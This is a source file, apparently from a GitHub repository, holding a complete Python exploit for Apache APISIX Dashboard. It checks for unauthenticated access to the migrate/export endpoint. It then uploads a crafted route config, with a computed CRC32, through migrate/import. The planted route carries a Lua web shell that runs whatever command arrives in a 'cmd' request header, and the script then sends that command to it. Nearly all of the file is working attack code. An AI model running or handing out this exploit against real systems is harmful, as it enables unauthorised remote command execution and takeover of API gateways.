-
Notifications
You must be signed in to change notification settings - Fork 1
/
apisix_dashboard_rce.py
136 lines (110 loc) · 3.74 KB
/
apisix_dashboard_rce.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
#!/usr/bin/env python3
import sys
import zlib
import time
import json
import random
import string
import argparse
import requests
import urllib.parse
import colorama
from colorama import init
init(autoreset=True)
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
eval_config = {
"Counsumers": [],
"Routes": [
{
"id": str(random.randint(100000000000000000, 1000000000000000000)),
"create_time": 1640674554,
"update_time": int(time.time()),
"uris": [
"/rces"
],
"name": "rces",
"methods": [
"GET",
"POST"
],
"script": "local file=io.popen(ngx.req.get_headers()['cmd'],'r') \n local output=file:read('*all') \n file:close() \n ngx.say(output)",
"status": 1
}
],
"Services": [],
"SSLs": [],
"Upstreams": [],
"Scripts": [],
"GlobalPlugins": [],
"PluginConfigs": []
}
#proxies = {'http':'http://127.0.0.1:8080', 'https':'http://127.0.0.1:8080'}
headers = {
"User-agnet": "Mozilla/5.0 (X11; Linux i7 x86; rv:78.0) Gecko/20100101 Firefox/78.0",
"X-Forwarded-For": "127.0.0.1"
}
def random_str():
return ''.join(random.choices(string.ascii_letters + string.digits, k=6))
def calc_crc(data):
crc32 = zlib.crc32(data) & 0xffffffff
return crc32.to_bytes(4, byteorder="big")
# Check for unauthorized access
def export_check(url):
r = requests.get(url + "/apisix/admin/migrate/export", headers=headers, verify=False, timeout=5)
#return r.text[:-4]
if "Routes" in r.text or "hosts" in r.text:
return True
else:
return False
# Add route
def import_data(url, data):
data = json.dumps(data).encode()
crc32 = calc_crc(data)
files = {"file": ("data", data + crc32, "text/data")}
resp = requests.post(url + "/apisix/admin/migrate/import", headers=headers, files=files, verify=False, timeout=10)
if resp.json().get("code", -1) == 0:
return True
else:
return False
# Exploit
def exec_command(url, uri, port, exec_cmd):
headers2 = {
"User-agnet": "Mozilla/5.0 (X11; Linux i7 x86; rv:78.0) Gecko/20100101 Firefox/78.0",
"cmd": exec_cmd,
"X-Forwarded-For": "127.0.0.1"
}
t = urllib.parse.urlparse(url)
route_url = "http://" + t.hostname + ":" + port + "/" + uri
resp_url = requests.post(route_url, headers=headers2, verify=False, timeout=10)
print(resp_url.text)
if __name__ == "__main__":
parser = argparse.ArgumentParser("")
parser.add_argument("-u", "--url", help="target url (e.g: http://127.0.0.1:9000)")
parser.add_argument("-p", "--port", default="9080", help="apisix management port (default: 9080)")
parser.add_argument("-c", "--cmd", default="ifconfig",help="command (default: ifconfig)")
args = parser.parse_args()
url = args.url
if url.endswith("/"):
url = url[:-1]
print(url)
port = args.port
exec_cmd = args.cmd
port = args.port
if export_check(url):
print("\033[1;31;40m[+] There is unauthorized access.")
else:
print("\033[36m[-] No unauthorized access, stop proceeding to the next step of utilization.")
exit()
uri = random_str()
eval_config["Routes"][0]["uris"] = [ "/" + uri]
eval_config["Routes"][0]["name"] = uri
if import_data(url, eval_config):
print("\033[1;32;40m[+] Add route successfully~")
print("\033[1;32;40m[*] url: " + "http://[targetIP]" + ":9080/" + uri)
print()
else:
print("\033[1;31;40m[-] Failed to add route.")
exit()
time.sleep(3)
exec_command(url, uri, port ,exec_cmd)